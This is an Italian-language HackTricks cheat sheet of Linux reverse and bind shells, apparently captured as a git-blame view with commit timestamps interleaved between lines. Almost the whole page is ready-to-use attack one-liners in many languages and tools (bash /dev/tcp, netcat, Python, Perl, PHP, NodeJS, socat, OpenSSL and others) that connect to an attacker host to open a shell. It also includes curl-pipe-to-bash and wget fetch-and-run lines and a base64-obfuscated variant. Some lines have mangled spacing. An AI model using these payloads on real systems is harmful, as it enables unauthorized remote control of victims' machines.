2022-05-11 14:59:34 +00:00
# Shells - Linux
2022-04-28 16:01:33 +00:00
< details >
2024-03-26 15:46:05 +00:00
< summary > < strong > Impara l'hacking su AWS da zero a eroe con< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-30 21:49:23 +01:00
2024-03-26 15:46:05 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO** ](https://github.com/sponsors/carlospolop )!
2024-03-09 13:30:41 +00:00
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks** ](https://peass.creator-spring.com )
2024-03-26 15:46:05 +00:00
* Scopri [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), la nostra collezione di [**NFT esclusivi** ](https://opensea.io/collection/the-peass-family )
2024-03-09 13:16:23 +00:00
* **Unisciti al** 💬 [**gruppo Discord** ](https://discord.gg/hRep4RUj7f ) o al [**gruppo telegram** ](https://t.me/peass ) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-03-26 15:46:05 +00:00
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-03-14 23:33:40 +00:00
**Try Hard Security Group**
2024-03-26 15:46:05 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:33:40 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2024-03-26 15:46:05 +00:00
**Se hai domande su una di queste shell puoi controllarle con** [**https://explainshell.com/** ](https://explainshell.com )
2020-10-17 17:35:35 +00:00
2022-05-11 14:59:34 +00:00
## Full TTY
2020-08-19 11:54:25 +00:00
2024-03-09 13:16:23 +00:00
**Una volta ottenuta una shell inversa**[ **leggi questa pagina per ottenere un TTY completo** ](full-ttys.md )**.**
2020-08-19 11:54:25 +00:00
2022-05-11 14:59:34 +00:00
## Bash | sh
2020-07-15 15:43:14 +00:00
```bash
2022-05-11 14:59:34 +00:00
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
2020-07-15 15:43:14 +00:00
bash -i >& /dev/tcp/< ATTACKER-IP > /< PORT > 0>& 1
2023-03-30 19:24:10 +00:00
bash -i >& /dev/udp/127.0.0.1/4242 0>& 1 #UDP
2020-07-15 15:43:14 +00:00
0< &196; exec 196< >/dev/tcp/< ATTACKER-IP > /< PORT > ; sh < & 196 >& 196 2>& 196
exec 5< >/dev/tcp/< ATTACKER-IP > /< PORT > ; while read line 0< &5; do $line 2>& 5 >&5; done
2023-03-30 19:24:10 +00:00
#Short and bypass (credits to Dikline)
2021-03-30 00:10:09 +00:00
(sh)0>/dev/tcp/10.10.10.10/9091
2022-09-13 22:41:09 +06:00
#after getting the previous shell to get the output to execute
2021-03-30 00:10:09 +00:00
exec >& 0
2020-07-15 15:43:14 +00:00
```
2024-03-24 13:19:55 +00:00
### Shell sicuro dai simboli
Non dimenticare di controllare con altre shell: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh e bash.
2020-07-15 15:43:14 +00:00
```bash
#If you need a more stable connection do:
2020-11-05 20:05:40 +00:00
bash -c 'bash -i >& /dev/tcp/< ATTACKER-IP > /< PORT > 0>& 1'
2020-07-15 15:43:14 +00:00
#Stealthier method
2020-11-05 20:05:40 +00:00
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
2020-07-15 15:43:14 +00:00
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
2024-03-09 13:16:23 +00:00
#### Spiegazione della Shell
2020-07-15 15:43:14 +00:00
2024-02-10 13:03:23 +00:00
1. ** `bash -i` **: Questa parte del comando avvia una shell interattiva (`-i` ) di Bash.
2024-03-09 13:16:23 +00:00
2. ** `>&` **: Questa parte del comando è una notazione abbreviata per **reindirizzare sia l'output standard** (`stdout` ) che **l'errore standard** (`stderr` ) allo **stesso destinatario** .
2024-03-26 15:46:05 +00:00
3. ** `/dev/tcp/<INDIRIZZO-IP-ATTACCANTE>/<PORTA>` **: Questo è un file speciale che **rappresenta una connessione TCP all'indirizzo IP e alla porta specificati** .
2024-03-09 13:16:23 +00:00
* **Reindirizzando i flussi di output e di errore su questo file**, il comando invia efficacemente l'output della sessione della shell interattiva alla macchina dell'attaccante.
4. ** `0>&1` **: Questa parte del comando **reindirizza l'input standard (`stdin`) allo stesso destinatario dell'output standard (`stdout`)** .
2020-11-15 22:04:11 +00:00
2024-03-09 13:16:23 +00:00
### Creare in un file ed eseguire
2020-11-15 22:04:11 +00:00
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1< ATTACKER-IP > /< PORT > 0>& 1' > /tmp/sh.sh; bash /tmp/sh.sh;
2020-11-15 22:28:16 +00:00
wget http://< IP attacker > /shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
2020-11-15 22:04:11 +00:00
```
2024-03-24 13:19:55 +00:00
## Shell in Avanti
2020-11-15 22:04:11 +00:00
2024-03-24 13:19:55 +00:00
Quando si tratta di una vulnerabilità di **Esecuzione di Codice Remoto (RCE)** all'interno di un'applicazione web basata su Linux, ottenere una shell inversa potrebbe essere ostacolato dalle difese di rete come le regole iptables o meccanismi di filtraggio dei pacchetti intricati. In tali ambienti limitati, un approccio alternativo prevede l'instaurazione di una shell PTY (Pseudo Terminale) per interagire con il sistema compromesso in modo più efficace.
2024-03-10 13:36:02 +00:00
Uno strumento consigliato per questo scopo è [toboggan ](https://github.com/n3rada/toboggan.git ), che semplifica l'interazione con l'ambiente di destinazione.
Per utilizzare toboggan in modo efficace, creare un modulo Python adattato al contesto RCE del sistema di destinazione. Ad esempio, un modulo chiamato `nix.py` potrebbe essere strutturato come segue:
```python3
import jwt
import httpx
2022-02-09 20:23:12 +00:00
2024-03-10 13:36:02 +00:00
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*& L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
2024-02-07 05:06:18 +01:00
2024-03-10 13:36:02 +00:00
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
```
E poi, puoi eseguire:
```shell
toboggan -m nix.py -i
```
2024-03-26 15:46:05 +00:00
Per sfruttare direttamente una shell interattiva. È possibile aggiungere `-b` per l'integrazione con Burpsuite e rimuovere `-i` per un wrapper rce più basilare.
2024-03-10 13:36:02 +00:00
2024-03-26 15:46:05 +00:00
Un'altra possibilità consiste nell'utilizzare l'implementazione della shell in avanti di `IppSec` [**https://github.com/IppSec/forward-shell** ](https://github.com/IppSec/forward-shell ).
2024-03-10 13:36:02 +00:00
È sufficiente modificare:
2022-02-09 20:23:12 +00:00
2024-03-26 15:46:05 +00:00
- L'URL dell'host vulnerabile
- Il prefisso e il suffisso del payload (se presenti)
- Il modo in cui il payload viene inviato (intestazioni? dati? informazioni extra?)
2022-02-09 20:23:12 +00:00
2024-03-26 15:46:05 +00:00
Successivamente, è possibile **inviare comandi** o addirittura **utilizzare il comando `upgrade`** per ottenere una PTY completa (si noti che i tubi vengono letti e scritti con un ritardo approssimativo di 1,3 secondi).
2022-02-09 20:23:12 +00:00
2022-05-11 14:59:34 +00:00
## Netcat
2020-07-15 15:43:14 +00:00
```bash
nc -e /bin/sh < ATTACKER-IP > < PORT >
nc < ATTACKER-IP > < PORT > | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>& 1|nc < ATTACKER-IP > < PORT > >/tmp/f
nc < ATTACKER-IP > < PORT1 > | /bin/bash | nc < ATTACKER-IP > < PORT2 >
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0< /tmp/bkpipe | nc < ATTACKER-IP > < PORT > 1>/tmp/bkpipe
```
2023-05-15 10:19:32 +00:00
## gsocket
2024-03-09 13:16:23 +00:00
Controllalo su [https://www.gsocket.io/deploy/ ](https://www.gsocket.io/deploy/ )
2023-05-15 10:19:32 +00:00
```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
2022-05-11 14:59:34 +00:00
## Telnet
2024-03-24 12:26:19 +00:00
2024-03-26 15:46:05 +00:00
Telnet è un protocollo di rete che consente di stabilire una connessione remota tramite la shell di comando. Può essere utilizzato per accedere e gestire dispositivi di rete e server remoti.
2020-07-15 15:43:14 +00:00
```bash
telnet < ATTACKER-IP > < PORT > | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>& 1|telnet < ATTACKER-IP > < PORT > >/tmp/f
telnet < ATTACKER-IP > < PORT > | /bin/bash | telnet < ATTACKER-IP > < PORT >
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0< /tmp/bkpipe | telnet < ATTACKER-IP > < PORT > 1>/tmp/bkpipe
```
2024-03-09 13:16:23 +00:00
## Whois
**Attaccante**
2024-02-10 13:03:23 +00:00
```bash
while true; do nc -l < port > ; done
```
2024-03-24 13:19:55 +00:00
Per inviare il comando, scriverlo, premere Invio e premere CTRL+D (per interrompere STDIN)
2020-07-15 15:43:14 +00:00
2024-02-10 13:03:23 +00:00
**Vittima**
```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")` ; sleep 1; done
```
## Python
2020-07-15 15:43:14 +00:00
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
2024-02-10 13:03:23 +00:00
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
2020-07-15 15:43:14 +00:00
```
2022-05-11 14:59:34 +00:00
## Perl
2020-07-15 15:43:14 +00:00
```bash
perl -e 'use Socket;$i="< ATTACKER-IP > ";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while< >;'
```
2022-05-11 14:59:34 +00:00
## Ruby
2020-07-15 15:43:14 +00:00
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i < & %d >& %d 2>& %d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
2022-05-11 14:59:34 +00:00
## PHP
2022-07-01 13:36:12 -05:00
```php
2022-09-13 22:41:09 +06:00
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
2022-07-01 13:36:12 -05:00
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
2020-07-15 15:43:14 +00:00
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i < & 3 >& 3 2>&3"); '
2022-07-01 13:36:12 -05:00
// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
2021-09-02 21:18:04 +00:00
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
2020-07-15 15:43:14 +00:00
```
2022-05-11 14:59:34 +00:00
## Java
2020-07-15 15:43:14 +00:00
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/ATTACKING-IP/80;cat <& 5 | while read line; do \$line 2>& 5 >&5; done"] as String[])
p.waitFor()
```
2022-05-11 14:59:34 +00:00
## Ncat
2020-07-15 15:43:14 +00:00
```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```
2022-05-11 14:59:34 +00:00
## Golang
2020-07-15 15:43:14 +00:00
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go & & go run /tmp/t.go & & rm /tmp/t.go
```
2022-05-11 14:59:34 +00:00
## Lua
2020-07-15 15:43:14 +00:00
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i < & 3 >& 3 2>&3'); "
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
2022-05-11 14:59:34 +00:00
## NodeJS
2020-07-15 15:43:14 +00:00
```javascript
(function(){
2024-02-10 13:03:23 +00:00
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
2020-07-15 15:43:14 +00:00
})();
or
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
2021-11-08 23:40:13 +00:00
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>& 1'")
2020-07-15 15:43:14 +00:00
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
or
2022-05-29 23:24:32 +00:00
// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or
// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');
or
2020-07-15 15:43:14 +00:00
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
2022-10-17 10:02:34 -05:00
## OpenSSL
2020-07-15 15:43:14 +00:00
2024-02-10 13:03:23 +00:00
L'Attaccante (Kali)
2020-07-15 15:43:14 +00:00
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port < l_port > #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port < l_port2 > #Here yo will be able to get the response
```
2024-02-10 13:03:23 +00:00
La Vittima
2020-07-15 15:43:14 +00:00
```bash
#Linux
openssl s_client -quiet -connect < ATTACKER_IP > :< PORT1 > |/bin/bash|openssl s_client -quiet -connect < ATTACKER_IP > :< PORT2 >
#Windows
openssl.exe s_client -quiet -connect < ATTACKER_IP > :< PORT1 > |cmd.exe|openssl s_client -quiet -connect < ATTACKER_IP > :< PORT2 >
```
2022-05-11 14:59:34 +00:00
## **Socat**
2020-07-15 15:43:14 +00:00
[https://github.com/andrew-d/static-binaries ](https://github.com/andrew-d/static-binaries )
2024-02-10 13:03:23 +00:00
### Shell di bind
2020-07-15 15:43:14 +00:00
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
2024-02-10 13:03:23 +00:00
attacker> socat FILE:`tty` ,raw,echo=0 TCP:< victim_ip > :1337
2020-07-15 15:43:14 +00:00
```
2024-02-10 13:03:23 +00:00
### Shell inversa
2020-07-15 15:43:14 +00:00
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty` ,raw,echo=0
victim> socat TCP4:< attackers_ip > :1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
2022-05-11 14:59:34 +00:00
## Awk
2024-02-10 13:03:23 +00:00
```bash
awk 'BEGIN {s = "/inet/tcp/0/< IP > /< PORT > "; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
2024-03-09 13:16:23 +00:00
## Dito
2024-02-10 13:03:23 +00:00
2024-03-09 13:16:23 +00:00
**Attaccante**
2024-02-10 13:03:23 +00:00
```bash
while true; do nc -l 79; done
```
2024-03-09 13:16:23 +00:00
Per inviare il comando, scriverlo, premere Invio e premere CTRL+D (per interrompere STDIN)
2020-07-15 15:43:14 +00:00
2024-02-10 13:03:23 +00:00
**Vittima**
2020-07-15 15:43:14 +00:00
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')` ; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')` ; sleep 1; done
```
2022-05-11 14:59:34 +00:00
## Gawk
2020-07-15 15:43:14 +00:00
```bash
2024-02-10 13:03:23 +00:00
#!/usr/bin/gawk -f
2020-07-15 15:43:14 +00:00
2024-02-10 13:03:23 +00:00
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
```
## Xterm
2020-07-15 15:43:14 +00:00
2024-02-10 13:03:23 +00:00
Questo proverà a connettersi al tuo sistema alla porta 6001:
```bash
xterm -display 10.0.0.1:1
```
Per catturare la reverse shell puoi utilizzare (che ascolterà sulla porta 6001):
2020-07-15 15:43:14 +00:00
```bash
2024-02-07 05:06:18 +01:00
# Authorize host
2020-07-15 15:43:14 +00:00
xhost +targetip
2024-02-07 05:06:18 +01:00
# Listen
Xnest :1
2020-07-15 15:43:14 +00:00
```
2022-05-11 14:59:34 +00:00
## Groovy
2020-07-15 15:43:14 +00:00
2024-03-24 13:19:55 +00:00
di [frohoff ](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76 ) NOTA: Il reverse shell Java funziona anche per Groovy
2020-07-15 15:43:14 +00:00
```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
2024-02-10 13:03:23 +00:00
## Riferimenti
2024-03-09 13:16:23 +00:00
2024-02-07 05:06:18 +01:00
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/ ](https://highon.coffee/blog/reverse-shell-cheat-sheet/ )
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell ](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell )
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/ ](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/ )
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md )
2020-07-15 15:43:14 +00:00
2024-03-14 23:33:40 +00:00
**Try Hard Security Group**
2024-03-26 15:46:05 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:33:40 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
2022-04-28 16:01:33 +00:00
< details >
2024-03-24 13:19:55 +00:00
< summary > < strong > Impara l'hacking AWS da zero a eroe con< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-30 21:49:23 +01:00
2024-03-09 13:16:23 +00:00
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO** ](https://github.com/sponsors/carlospolop )!
2024-03-14 23:33:40 +00:00
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks** ](https://peass.creator-spring.com )
2024-03-26 15:46:05 +00:00
* Scopri [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), la nostra collezione di [**NFT esclusivi** ](https://opensea.io/collection/the-peass-family )
2024-03-10 13:36:02 +00:00
* **Unisciti al** 💬 [**gruppo Discord** ](https://discord.gg/hRep4RUj7f ) o al [**gruppo telegram** ](https://t.me/peass ) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-03-26 15:46:05 +00:00
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repository di Github.
2022-04-28 16:01:33 +00:00
< / details >